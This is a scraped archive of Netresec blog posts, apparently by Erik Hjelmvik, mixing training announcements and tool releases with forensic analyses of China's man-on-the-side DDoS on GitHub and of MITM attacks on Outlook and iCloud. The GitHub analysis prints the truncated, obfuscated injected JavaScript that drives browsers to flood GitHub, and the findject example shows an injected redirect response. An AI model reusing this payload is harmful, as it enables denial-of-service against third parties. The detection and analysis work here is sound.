Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20070302 BonEcho/

Posted by Erik Hjelmvik on Monday, 05 February 2018 07:30:00 (UTC/GMT)

Tags: #Netresec #PCAP #Trojan #video #tutorial #videotutorial #NetworkMiner #SecurityOnion #Suricata #malware #network #forensics #NSM #malware_traffic

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Network Forensics Training in London

The Flag of the United States by Sam Howzit (CC BY 2.0)

People sometimes ask me when I will teach my network forensics class in the United States. The US is undoubtedly the country with the most advanced and mature DFIR community, so it would be awesome to be able to give my class there. However, not being a U.S. person and not working for a U.S. company makes it rather difficult for me to teach in the United States (remember what happened to Halvar Flake?).

So if you’re from the Americas and would like to take my network forensics class, then please don’t wait for me to teach my class at a venue close to you – because I probably won’t. My recommendation is that you instead attend my upcoming training at 44CON in London this September.

London Red Telephone Booth Long Exposure by (CC0)

The network forensics training in London will cover topics such as:

  • Analyzing a web defacement
  • Investigating traffic from a remote access trojan (njRAT)
  • Analyzing a Man-on-the-Side attack (much like QUANTUM INSERT)
  • Finding a backdoored application
  • Identifying botnet traffic through whitelisting
  • Rinse-Repeat Threat Hunting

The first day of training will focus on analysis using only open source tools. The second day will primarily cover training on commercial software from Netresec, i.e. NetworkMiner Professional and CapLoader. All students enrolling in the class will get a full 6 month license for both these commercial tools.

Hope to see you at the 44CON training in London!

Posted by Erik Hjelmvik on Tuesday, 25 April 2017 14:33:00 (UTC/GMT)

Tags: #Netresec #Network Forensics

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

10 Years of NetworkMiner

I released the first version of NetworkMiner on February 16, 2007, which is exactly 10 years ago today.

NetworkMiner 0.79 in Windows XP

One of the main uses of NetworkMiner today is to reassemble file transfers from PCAP files and save the extracted files to disk. However, as you can see in the screenshot above, the early versions of NetworkMiner didn’t even have a Files tab. In fact, the task that NetworkMiner was originally designed for was simply to provide an inventory of the hosts communicating on a network.

How it all started

So, why did I start designing a passive asset detection system when I could just as well have used a port scanner like Nmap to fingerprint the devices on a network? Well, I was working with IT security at the R&D department of a major European energy company at the time. As part of my job I occasionally performed IT security audits of power plants. During these audits I typically wanted to ensure that there were no rouge or unknown devices on the network. The normal way of verifying this would be to perform an Nmap scan of the network, but that wasn’t an option for me since I was dealing with live industrial control system networks. I knew from personal experience that a network scan could cause some of the industrial control system devices to drop their network connections or even crash, so active scanning wasn’t a viable option. Instead I chose to setup a SPAN port at a central point of the network, or even install a network TAP, and then capture network traffic to a PCAP file during a few hours. I found the PCAP files being a great source, not only for identifying the hosts present at a network, but also in order to discover misconfigured devices. However, I wasn’t really happy with the tools available for visualizing the devices on the network, which is why I stated developing NetworkMiner in my spare time.

Network Forensics

As I continued improving NetworkMiner I pretty soon ended up writing my own TCP reassembly engine as well as parsers for HTTP and the CIFS protocol (a.k.a SMB). With these protocols in place I was able to extract files downloaded through HTTP or SMB to disk with NetworkMiner, which turned out to be a killer feature.

Monthly downloads of NetworkMiner from SourceForge
Image: Monthly downloads of NetworkMiner from SourceForge

With the ability to extract file transfers from PCAP files NetworkMiner steadily gained popularity as a valuable tool in the field of network forensics, which motivated me to make the tool even better. Throughout these past 10 years I have single-handedly implemented over 60 protocols in NetworkMiner, which has been a great learning experience for me.

NetworkMiner Milestones

Looking Forward

People sometimes ask me what I’m planning to add to the next version of NetworkMiner. To be honest; I never really know. In fact, I’ve realized that those with the best ideas for features or protocols to add to NetworkMiner are those who use NetworkMiner as part of their jobs, such as incident responders and digital forensics experts across the globe.

I therefore highly value feedback from users, so if you have requests for new features to be added to the next version, then please feel free to reach out and let me know!

Posted by Erik Hjelmvik on Thursday, 16 February 2017 09:11:00 (UTC/GMT)

Tags: #Netresec #NetworkMiner #NSM #ICS

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Network Forensics Training at TROOPERS 2017

Troopers logo with Network Forensics Training

I will come back to the awesome TROOPERS conference in Germany this spring to teach my two-day network forensics class on March 20-21.

The training will touch upon topics relevant for law enforcement as well as incident response, such as investigating a defacement, finding backdoors and dealing with a machine infected with real malware. We will also be carving lots of files, emails and other artifacts from the PCAP dataset as well as perform Rinse-Repeat Intrusion Detection in order to detect covert malicious traffic.

Day 1 - March 20, 2017

The first training day will focus on open source tools that can be used for doing network forensics. We will be using the Security Onion linux distro for this part, since it contains pretty much all the open source tools you need in order to do network forensics.

Day 2 - March 21, 2017

We will spend the second day mainly using NetworkMiner Professional and CapLoader, i.e. the commercial tools from Netresec. Each student will be provided with a free 6 month license for the latest version of NetworkMiner Professional (see our recent release of version 2.1) and CapLaoder. This is a unique chance to learn all the great features of these tools directly from the guy who develops them (me!).

NetworkMiner   CapLoader

The Venue

The Troopers conference and training will be held at the Print Media Academy (PMA) in Heidelberg, Germany.

PMA Early Morning by Alex Hauk
Print Media Academy, image credit: Alex Hauk

Keeping the class small

The number of seats in the training will be limited in order to provide a high-quality interactive training. However, keep in mind that this means that the we might run out of seats for the network forensics class!

I would like to recommend those who wanna take the training to also attend the Troopers conference on March 22-24. The conference will have some great talks, like these ones:

However, my greatest takeaway from last year's Troopers was the awesome hallway track, i.e. all the great conversations I had with all the smart people who came to Troopers.

Please note that the tickets to the Troopers conference are also limited, and they seem to sell out quite early each year. So if you are planning to attend the network forensics training, then I recommend that you buy an “All Inclusive” ticket, which includes a two-day training and a conference ticket.

You can read more about the network forensics training at the Troopers website.

UPDATE 2017-02-15

The network forensics training at Troopers is now sold out. However, there are still free seats available in our network forensics class at 44CON in London in September.

Posted by Erik Hjelmvik on Tuesday, 24 January 2017 07:20:00 (UTC/GMT)

Tags: #Netresec #Network Forensics #Troopers #NetworkMiner #CapLoader #Training #Security Onion

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Reading cached packets with Wireshark

Would you like to sniff packets that were sent/received some minutes, hours or even days ago in Wireshark? Can't afford to buy a time machine? Then your best chance is to install PacketCache, which allows you to read OLD packets with Wireshark. Wireshark reading from PacketCache

We recently released a free tool for keeping a cache of recently sent/received network traffic in Windows. The tool, called PacketCache, is actually a Windows service that saves a copy of recent packets in RAM. The cached packets can be read simply by connecting to a named pipe called “PacketCache”, for example by using a PowerShell script as shown on the PacketCache page.

After talking to some Wireshark core developers at SharkFest Europe last week we managed to get Wireshark to read packets from PacketCache's named pipe stream. However, you will need to use Wireshark 2.3 or later to properly read from a named pipe. Unfortunately version 2.3 isn't scheduled for release until next summer (2017), so until then you'll have to use one of the automated builds instead. I usually go for the latest WiresharkPortable build, since it doesn't require installation. You can download the portable version of Wireshark 2.3 here:

Look for a file called “WiresharkPortable_2.3.[something].paf.exe”.

Follow these steps in order to read packets captured by PacketCache:

  1. Make sure you have Wireshark 2.3.0 (or later)
  2. Start Wireshark with admin rights (right-click > “Run as administrator”)
  3. Run Wireshark as administrator
  4. Press: Capture > Options
  5. Click “Manage Interfaces...”
  6. Select the “Pipes” tab
  7. Press the “+” button to add a named pipe
  8. Name the pipe “\\.\pipe\PacketCache” and press ENTER to save it
  9. PacketCache pipe interface added in Wireshark
  10. Press “OK” in the Manage Interface window.
  11. Wireshark with a PacketCache pipe interface
  12. Press “Start” to read the packets from PacketCache

Wireshark reading from PacketCache

The status field in Wireshark will say “Live capture in progress”, which is somewhat true. Wireshark will be updating the GUI live as packets are read from PacketCache, but the packets displayed can be several hours or even days old depending on when they were captured by PacketCache. The “live” capture will stop once all packets have been read from the PacketCache.

Posted by Erik Hjelmvik on Friday, 28 October 2016 14:50:00 (UTC/GMT)

Tags: #Netresec #PCAP #PacketCache #Wireshark #named pipe #SharkFest

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Detect TCP content injection attacks with findject

findject logo

NSA's QUANTUM INSERT attack is probably the most well-known TCP packet injection attack due to the Snowden revelations regarding how GCHQ used this method to hack into Belgacom. However, the “Five Eyes” are not the only ones who perform this type of attack on the Internet. We now release a tool to help incident responders to find these types of packet injection attacks.

Photo by Jasper Bongertz at SharkFest EU 2016

I had the opportunity to attend and present at SharkFest Europe last week. My presentation, titled “Dissecting Man-on-the-Side Attacks”, showed how TCP packet injection attacks can be analyzed if they have been recorded in a packet capture. In my talk I used a python script called “”, which reads PCAP files to find TCP packets with duplicate sequence numbers but different content. This script has previously only been shared with vetted parties, but as of my SharkFest presentation findject is now freely available for everyone.

Findject is not the first tool made available to detect TCP content injection attacks. Other detection methods include Suricata's reassembly_overlap_different_data alert, Fox-IT's Bro policy to check for inconsistencies in the first packet with payload, David Stainton's HoneyBadger and Martin Bruse's qisniff. Even though these are all great solutions we found that some of them didn't detect all TCP content injection attacks while others gave too many false positives. We also wanted to have a tool that was fast, portable and simple to use. This led us to create our own TCP injection detection tool.

python /nsm/pcap/live/*
opening /nsm/pcap/live/ppp0.150922_192034.pcap - no injections
opening /nsm/pcap/live/ppp0.150923_081337.pcap
'HTTP/1.1 403 Forbidden\r\nServer: Beaver\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\nContent-Length: 594\r\nConnection: close\r\n\r\n<html>\n<head>\n<meta http-equiv="Content-Type" content="textml;charset=UTF-8" />\n <style>body{background-color:#FFFFFF}</style> \n<title>TestPage</title>\n <script language="javascript" type="text/javascript">\n window.onload = function () { \n document.getElementById("mainFrame").src= ""; \n }\n</script> \n</head>\n <body>\n <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe>\n </body>\n </html>\n\n'
'HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 87\r\nConnection: close\r\n\r\n<html><head><meta http-equiv="refresh" content="0; url=\'\'"></head></html>'

opening /nsm/pcap/live/ppp0.150923_115034.pcap - no injections
opening /nsm/pcap/live/ppp0.150924_071617.pcap - no injections

In the example execution above we can see that detected an injected TCP packet in the file ppp0.150923_081337.pcap, while the other analyzed files contained no injections. The application layer data of the two conflicting TCP segments are printed to standard output with a header indicating whether the segment was the FIRST or LAST one. To find out which segment is the real one and which was the injected one we need to open the PCAP file in either Wireshark, tshark or CapLoader.

tshark -r /nsm/pcap/live/ppp0.150923_083317.pcap -Y "ip.src eq and tcp.port eq 59320" -T fields -e frame.number -e ip.src -e ip.dst -e tcp.seq -e tcp.len -e -e ip.ttl -o "tcp.relative_sequence_numbers: false"
14 402877219 0   0x00002e36 94
25 402877220 726 0x00000d05 70
27 402877220 726 0x00000d05 69
28 402877220 170 0x00002e3e 94

The tshark execution above reveals that three packets sent from the web server's IP ( are carrying data and have the same sequence number (402877220). Packet 25 and 27 are actually identical, while packet 28 is smaller (170 bytes) and has a different payload. The first displayed frame in the tshark output above is the SYN+ACK packet from the TCP 3-way handshake.

So how can we determine which of packets 25, 27 and 28 are real verses injected? Look at the IP-ID and IP-TTL values! Frame 28 has IP-ID and TTL values in line with what we see in the TCP 3-way handshake (TTL=94, IP-ID=0x00002e3e), which implies that this packet is probably authentic. Frames 25 and 27 on the other hand deviate from what we would expect from the server, which tells us that these packets were likely injected (spoofed) into the TCP session through a “man-on-the-side” attack.

findject logo

To learn more about and download the tool, please visit:

Example captures containing TCP content injection attacks can be found on our Publicly Available PCAP Files page under the “Packet Injection Attacks / Man-on-the-Side Attacks” section.

You can also read our blog posts Covert Man-on-the-Side Attacks and Packet Injection Attacks in the Wild to learn more about TCP packet injection attacks.

Posted by Erik Hjelmvik on Tuesday, 25 October 2016 08:45:00 (UTC/GMT)

Tags: #Netresec #PCAP #packet injection #find #python #SharkFest

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Bug Bounty PCAP T-shirts

As of today we officially launch the 'Netresec Bug Bounty Program'. Unfortunately we don't have the financial muscles of Microsoft, Facebook or Google, so instead of money we'll be giving away t-shirts.

PCAP or it didn't happen t-shirt
Image: PCAP or it didn't happen t-shirt

To be awarded with one of our 'PCAP or it didn't happen' t-shirts you will have to:

  • Be able to reliably crash the latest version of NetworkMiner or CapLoader, or at least make the tool misbehave in some exceptional way.
  • Send a PCAP file that can be used to trigger the bug to info[at]

Those who find bugs will also receive an honorable mention in our blog post covering the release of the new version containing the bug fix.

Additionally, submissions that play a key-role in mitigating high-severity security vulnerabilities or addressing very important bugs will be awarded with a free license of either NetworkMiner Professional or the full commercial version of CapLoader.

Happy BugBounty Hunting!

Posted by Erik Hjelmvik on Tuesday, 27 September 2016 09:27:00 (UTC/GMT)

Tags: #NetworkMiner #CapLoader #PCAP #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Network Forensics Training at TROOPERS

Troopers logo with Network Forensics Training

I'm happy to announce that I will teach a two-day Network Forensics class at the upcoming Troopers conference in March! The first day of training (March 14) will cover how to use open source tools to analyze intrusions and malware in captured network traffic. On day two (March 15) I will show attendees some tips and tricks for how to use software developed by us at Netresec, i.e. NetworkMiner Professional and CapLoader. This training is a rare opportunity to learn how to use this software directly from the main developer (me). Everyone taking the class will also get a free 6 month personal license for both NetworkMiner Pro and CapLoader.

Scenario and Dataset

The dataset analyzed in the class has been created using REAL physical machines and a REAL internet connection. All traffic on the network is captured to PCAP files by a SecurityOnion sensor. The scenario includes events, such as:

  • Web Defacement
  • Man-on-the-Side (MOTS) attack (much like NSA/GCHQ's QUANTUM INSERT)
  • Backdoor infection through trojanized software
  • Spear phishing
  • Use of a popular RAT (njRAT) for remote access and exfiltration
  • Infection with real malware

Class attendees will learn to analyze captured network traffic from these events in order to:

  • Investigate web server compromises and defacements
  • Detect Man-on-the-Side attacks
  • Identify covert backdoors
  • Reassemble incoming emails and attachments
  • Detect and decode RAT/backdoor traffic
  • Detect malicious traffic without having to rely on blacklists, AV or third-party detection services

Training Room
Training room at TROOPERS'15

For more details about the training, please visit Netresec's or Troopers' training pages:

 Print Media Academy in Heidelberg

The Venue

The TROOPERS conference and training take place at the Print Media Academy in Heidelberg, Germany. For more info about travel and accommodation, please visit:

Hope to see you at TROOPERS16 in Heidelberg, Germany!

Posted by Erik Hjelmvik on Tuesday, 15 December 2015 10:53:00 (UTC/GMT)

Tags: #Netresec #PCAP #Troopers #Network Forensics #Training #Class #NetworkMiner #CapLoader

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Two-day Network Forensics Class in Stockholm

Network Forensics Training in Stockholm

We are running a two-day Network Forensics class in Stockholm on 15-16th of September. logo Our class is held the days before the SEC-T conference, which is a great technical information security conference in Stockholm, and at the same venue (Nalen). Visitors can thereby plan 4 days of training and conferencing in Stockholm without having to transfer between hotels.

The Network Forensics class consists of a mix of theory and hands-on labs, where students will learn to analyze Full Packet Capture (FPC) files. The scenarios in the labs are primarily focused at network forensics for incident response, but are also relevant for law enforcement/internal security etc. where the network traffic of a suspect or insider is being monitored.

You can find more information about the class here:

Posted by Erik Hjelmvik on Wednesday, 03 June 2015 21:30:00 (UTC/GMT)

Tags: #Netresec #PCAP #NSM #Network Forensics #Class #Training #SEC-T

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

China's Man-on-the-Side Attack on GitHub

GitHub tweeting about DDoS attack

On March 27 The following message was posted on the official GitHub blog:

We are currently experiencing the largest DDoS (distributed denial of service) attack in's history. The attack began around 2AM UTC on Thursday, March 26, and involves a wide combination of attack vectors. These include every vector we've seen in previous attacks as well as some sophisticated new techniques that use the web browsers of unsuspecting, uninvolved people to flood with high levels of traffic. Based on reports we've received, we believe the intent of this attack is to convince us to remove a specific class of content.

We have looked closer at this attack and can conclude that China is using their active and passive network infrastructure in order to perform a packet injection attack, known as a man-on-the-side attack against GitHub. See our "TTL analysis" at the end of this blog post to see how we know this is a Man-on-the-side attack.

In short, this is how this Man-on-the-Side attack is carried out:

  1. An innocent user is browsing the internet from outside China.
  2. One website the user visits loads a JavaScript from a server in China, for example the Badiu Analytics script that often is used by web admins to track visitor statistics (much like Google Analytics).
  3. The web browser's request for the Baidu JavaScript is detected by the Chinese passive infrastructure as it enters China.
  4. A fake response is sent out (3 packets injected) from within China instead of the actual Baidu Analytics script. This fake response is a malicious JavaScript that tells the user's browser to continuously reload two specific pages on

However, not all users loading JavaScripts from inside China are attacked in this way. Our analysis shows that only about 1% of the requests for the Baidu Analytics script are receiving the malicious JavaScript as response. So in 99% of the cases everything behaves just like normal.

We managed to get a browser to load the malicious JavaScript simply by browsing a few Chinese websites. After the JavaScript loaded we observed the following behavior in our network traffic: CapLoader Gantt chart of traffic generated by the malicious JavaScriptImage: CapLoader Gantt chart of traffic generated by the malicious JavaScript

The script got our browser to connect to (IP address 192.30.252.[128-131]) in an infinite loop.

Baidu Analytics

The Baidu Analytics script can be loaded from URLs like: (normal version) (asynchronous version)

The proper JavaScript received when requesting such an URL should look like this: Baidu Analytics script in CapLoader Image: CapLoader flow transcript of the Baidu Analytics script

The injected response with the malicious JavaScript looks like this: Malicious JavaScript in CapLoader Image: CapLoader flow transcript of the malicious JavaScript

The injected response is actually exactly the same every time, consisting of three TCP packets with the following payload:

Injected packet #1:

HTTP/1.1 200 OK
Server: Apache
Connection: close
Content-Type: text/javascript
Content-Length: 1130

Injected packet #2:

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?\'\':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!\'\'.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return\'\\\\w+\'};c=1};while(c--)if(k[c])p=p.replace(new RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);return p}(\'l.k("<5 p=\\\'r://H.B.9/8/2.0.0/8.C.t\\\'>\\\\h/5>");!J.K&&l.k("<5 p=\\\'r://L.8.9/8-T.t\\\'>\\\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);\',62,64,\'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeou

Injected packet #3:

The malicious JavaScript is somewhat obfuscated, but some simple deobfuscation leaves us with the following code: Deobfuscated JavaScript

As can be seen in the code, the two targeted URLs are and, which are mirror sites for and the Chinese New York Times. GreatFire and NYT both use GitHub to circumvent the online censorship performed by the Great Firewall of China (GFW).

TTL Analysis

Time-To-Live (TTL) analysis is a powerful method that can be used in order to analyze Man-in-the-Middle as well as Man-on-the-Side attacks. We've used this method before when analyzing the Chinese MITM attacks on iCloud, Yahoo, Google and GitHub.

What is interesting with this new attack on GitHub is that the attackers are now trying to make it difficult to locate the injection point of the malicious JavaScript by modifying the IP TTL values of injected packets.

The following Tshark output prints Source-IP, Destination-IP, TCP-Flags and IP-TTL in four columns (comments in yellow):

tshark -r baidu-high-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl 0x0002 64 <- SYN (client) 0x0012 42 <- SYN+ACK (server) 0x0010 64 <- ACK (client) 0x0018 64 <- HTTP GET (client) 0x0018 227 <- Injected packet 1 (injector) 0x0010 64 0x0018 228 <- Injected packet 2 (injector) 0x0019 229 <- Injected packet 3 (injector) 0x0010 64 0x0011 64

Notice how the TTL of the SYN+ACK packet from the server is 42, while the three injected packets with payload have TTL values of 227, 228 and 229?

Here is another PCAP file where injected packets have low TTL values:

tshark -r baidu-low-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl 0x0002 64 <- SYN (client) 0x0012 42 <- SYN+ACK (server) 0x0010 64 <- ACK (client) 0x0018 64 <- HTTP GET (client) 0x0018 30 <- Injected packet 1 (injector) 0x0010 64 0x0018 31 <- Injected packet 2 (injector) 0x0019 32 <- Injected packet 3 (injector) 0x0010 64 0x0011 64

The server's SYN+ACK packet stays at an IP TTL of 42 pretty much throughout our whole analysis, but the TTL of packets carrying the malicious payload varied between 30 and 229. This behavior implies that the SYN+ACK packet we are seeing is coming from the actual Baidu server, while the packets carrying the malicious payload are injected somewhere else.

As we've mentioned before the three injected packets are always carrying identical payloads and the only thing that changes in between sessions is basically the target TCP port. This further strengthens our assumption that these three packets are being injected. We even tried dropping one of the injected packets and thereby requesting a retransmission of that packet from the server, but we got nothing back. This too is a typical artifact showing that the malicious JavaScript has been delivered through injected packets as part of a Man-on-the-Side attack as opposed to coming from the actual Baidu server.

Additional Sources for the Malicious JS

The Baidu Analytics is not the only script that has been replaced with a malicious one. Users have also reported JavaScript replacements of Baidu Ads as well as several other services. In's technical analysis of the DDoS attack against them they mention that they have seen JavaScripts being replaced for URLs like:

  • ...
  • ...

These domains are all owned by Baidu, but technically any JavaScript from any site in China could have been exploited to perform this sort of packet injection attack.

Great Wall of China by beggs


This attack demonstrates how the vast passive and active network filtering infrastructure in China, known as the Great Firewall of China or "GFW", can be used in order to perform powerful DDoS attacks. Hence, the GFW cannot be considered just a technology for inspecting and censoring the Internet traffic of Chinese citizens, but also a platform for conducting DDoS attacks against targets world wide with help of innocent users visiting Chinese websites.

UPDATE - April 2'nd

Robert Graham of Errata Security has now verified our conclusion, that the attack is coming from China, by performing an "http-traceroute". Robert writes:

Using my custom http-traceroute, I've proven that the man-in-the-middle machine attacking GitHub is located on or near the Great Firewall of China. While many explanations are possible, such as hackers breaking into these machines, the overwhelmingly most likely suspect for the source of the GitHub attacks is the Chinese government.

UPDATE - April 13'th

Bill Marczak, Nicholas Weaver, Jakub Dalek, Roya Ensafi, David Fifield, Sarah McKune, Arn Rey, John Scott-Railton, Ronald Deibert and Vern Paxson have published their research about this new cyber weapon, which they have dubbed the "Great Cannon" (GC). In their blog post they confirm our findings regarding odd TTL values in the injected packets:

The packets injected by the [Great Cannon] also have the same peculiar TTL side-channel as those injected by the GFW, suggesting that both the GFW and the GC likely share some common code.

For more details on the TTL side-channel of the GFW, please read the Usenix FOCI '14 paper Towards a Comprehensive Picture of the Great Firewall’s DNS Censorship.

Even though the authors of the "Great Cannon" blog post claim that GC is not part of GFW they still confirm that they are co-located:

[T]he shared source code and co-location between the GFW and GC suggest that the GC could have been developed within the same institutional framework as the GFW.

They also traced the path to the GFW and GC:

For, the GFW and the GC both exist between hop 12 and 13, on the link between and, as the traffic enters China Telecom. For, the GFW and GC both exist between hop 17 and 18, on the link between and, belonging to China Unicom.

This confirms that the GC is located within the same ASN's as where we've previously seen the GFW perform SSL MITM attacks, which is in AS4134 (China Telecom) and AS4837 (China Unicom).

They also published several PCAP files, where they interact with the GFW and GC:

UPDATE - April 25'th

Niels Provos at Google posted an interesting report about the DDoS called A Javascript-based DDoS Attack as seen by Safe Browsing. In the report he shows that the packet injection rate wasn't fixed at 1 percent, it actually reached 17.5 percent for a few days when was being attacked.

GFW packet injections over time. Source: Niels Provos, Google
Image by Niels Provos, at Google

Niels also provided additional details regarding the domains that were spoofed by the GFW to deliver the malicious javascript throug packet injection:

  • (
  • (
  • (
  • (
  • (
  • (
  • (
  • (

If you would like to learn how to detect and analyze man-on-the-side attacks, then we recommend that you sign up for our two-day Network Forensics Class.

Posted by Erik Hjelmvik on Tuesday, 31 March 2015 01:15:00 (UTC/GMT)

Tags: #GFW #GitHub #China #packet injection #MOTS #MITM #Netresec #PCAP #AS4134 #AS4837

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Chinese MITM attack on

An illustration from supplement to 'Le Petit Journal', 16th January 1898.

We were contacted by earlier today regarding a new Chinese man-in-the-middle (MITM) attack. This time the perpetrators decrypted traffic between Chinese users and Microsoft's IMAP mail server for As evidence provided us with a packet capture file, which we have analyzed.

Our conclusion is that this was a real attack on Microsoft's email service. Additionally, the attack is very similar to previous nationwide Chinese attacks on SSL encrypted traffic, such as the attack on Google a few months ago. Details such as email address, email password, email contents, email attachments and contacts may have been compromised in this attack. We do not know the scale of the attack, it could be anything from a fairly targeted attack to a nation wide attack in China. What we do know is that there are several users who have been subjected to the MITM attack and posted screenshots online.

Technical Analysis

Attacked IP Address: (
Attacked Protocol: SSL encryption of IMAPS (TCP 993)
Date of Attack: 2015-01-18
PCAP File:

In our technical analysis we first extracted the x509 certificates from the SSL traffic by loading the capture file into NetworkMinerCLI. We then parsed the extracted certificates with OpenSSL.

$ mono /opt/NetworkMinerProfessional_1-6-1/NetworkMinerCLI.exe -r Outlook_MITM_2015-01-18.pcapng
Closing file handles...
84 frames parsed in 0.888754 seconds.
$ ls AssembledFiles/\ -\ TCP\ 993/*.cer
AssembledFiles/ - TCP 993/[1].cer
AssembledFiles/ - TCP 993/[2].cer
AssembledFiles/ - TCP 993/
$ openssl x509 -inform DER -in AssembledFiles/\ -\ TCP\ 993/ -noout -issuer -subject -startdate -fingerprint
issuer= /CN=*
subject= /CN=*
notBefore=Jan 15 16:00:00 2015 GMT
SHA1 Fingerprint=75:F4:11:59:5F:E9:A2:1A:17:A4:96:7C:7B:66:6E:51:52:79:1A:32

When looking at the timestamps in the capture file we noticed that the SSL server's reply to the 'Client Hello' was very slow; response times varied between 14 and 20 seconds. Under normal circumstances the 'Server Hello' arrives within 0.3 seconds after the 'Client Hello' has been sent.

$ tshark -nr ./Outlook_MITM_2015-01-18.pcapng -Y 'ssl.handshake.type lt 3'
8 9.023876000 -> SSL 265 Client Hello
17 26.885504000 -> TLSv1 576 Server Hello, Certificate, Server Hello Done
45 101.747755000 -> SSL 265 Client Hello
49 116.258483000 -> TLSv1 576 Server Hello, Certificate, Server Hello Done
63 116.338420000 -> SSL 265 Client Hello
65 136.119127000 -> TLSv1 576 Server Hello, Certificate, Server Hello Done

This is slow SSL response is consistent with previous SSL MITM attacks conducted with support of the Great Firewall of China (GFW).

For more details on this attack, please see the Reuters story "After Gmail blocked in China, Microsoft's Outlook hacked" and GreatFire's own blog post "Outlook grim - Chinese authorities attack Microsoft".

Posted by Erik Hjelmvik on Monday, 19 January 2015 22:55:00 (UTC/GMT)

Tags: #Netresec #PCAP #PCAPNG #GFW #MITM #China #Hotmail #IMAP #IMAPS #SSL

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Chinese MITM Attack on iCloud

Users in China are reporting a MITM attacks on SSL connections to iCloud., who monitor the Great Firewall of China (GFW), also published a blog post on their website earlier today saying:

This is clearly a malicious attack on Apple in an effort to gain access to usernames and passwords and consequently all data stored on iCloud such as iMessages, photos, contacts, etc.

Fake SSL Certificate

In their blog post GreatFire also linked a packet capture file, which we have analyzed in order to verify the MITM attack. We loaded the PcapNG file into NetworkMiner Professional and extracted the X.509 SSL certificate.

NetworkMiner with fake iCloud certificate

The extracted certificate can be downloaded from here. Also, here are a few details from this X.509 certificate:

$ openssl x509 -inform DER -in -noout -issuer -subject -startdate -enddate -fingerprint
issuer= /C=cn/
subject= /C=cn/
notBefore=Oct 4 10:35:47 2014 GMT
notAfter=Oct 4 10:35:47 2015 GMT
SHA1 Fingerprint=F4:68:B5:F3:FE:D8:07:97:44:76:A2:2B:32:EA:31:37:D9:24:F7:BA

As reported elsewhere, the certificate was self signed, which means that browsers and most iPhone apps will either inform the user about the connection being unsafe or simply close the connection (see update at the bottom of this blog post regarding the missing certificate verification in Apple iOS). This use of self signed certificates is consistent with previous SSL MITM attacks performed in China against GitHub, Google, Yahoo and

Location of the MITM Attack

By looking at host the information provided by NetworkMiner for the fake iCloud SSL server we can see that it is just six router hops away from the client (having an IP TTL value of 58). This indicates that the MITM attack is being performed within China, since we'd expect to see at least three more router hops if the packets were coming from outside China.

NetworkMiner showing host details for MITM'ed iCloud server

The same PCAP file also contains packets from the same IP address on TCP port 80, which have traveled 11 hops (IP TTL 53). We therefore assume that only traffic to TCP port 443 is being MITM'ed.

This TTL analysis also matches various TCP traceroutes we've seen to the MITM'ed iCloud SSL service on

                        My traceroute [v0.85]
siyanmao-k29 (                        Sat Oct 18 19:26:07 2014

Host                          Loss% Snt  Last   Avg  Best  Wrst StDev
1.                0.0%   17   0.6   0.7   0.6   0.8   0.0
2. -------------              0.0%   16   2.8   2.6   1.7   3.3   0.3
3. -------------              0.0%   16   2.0   2.2   1.4   4.0   0.4
4. ???
5.              0.0%   16   6.4   7.7   4.3  27.0   5.2
6.               25.0%   16 168.5 171.4 166.8 201.3   9.4
mtr TCP 443 traceroute to (source:

The mtr TCP traceroute above indicates that MITM attacks are performed in AS4134 (China Telecom).

bearice@Bearice-Mac-Air-Haswell ~
%tcptraceroute 443
Selected device en0, address, port 52406 for outgoing packets
Tracing the path to on TCP port 443 (https), 30 hops max
1 1.737 ms 0.793 ms 0.798 ms
2 2.893 ms 2.967 ms 2.422 ms
3 2.913 ms 2.893 ms 3.968 ms
4 4.824 ms 2.658 ms 3.902 ms
5 3.626 ms 6.532 ms 3.794 ms
6 27.539 ms 26.821 ms 27.661 ms
7 ( [open] 30.064 ms 29.899 ms 30.126 ms
tcptraceroute to 443 (source: bearice on GitHub)

The tcptraceroute above indicates that MITM attacks are also performed in AS4837 (China Unicom).

Tcproute by @chenshaoju
Tcproute traceroute to on TCP 443 (source: @chenshaoju)

The Tcproute screenshot above shows that also CHINANET backbone network (China Telecom) seems to be used to carry out the MITM attacks.

Judging from these TCP traceroutes the MITM attacks seem to be taking place at several different locations rather centrally in the Chinese Internet infrastructure. To be more specific, it appears as if the MITM attacks are being performed on backbone networks belonging to China Telecom (CHINANET) as well as China Unicom.

UPDATE (October 22)

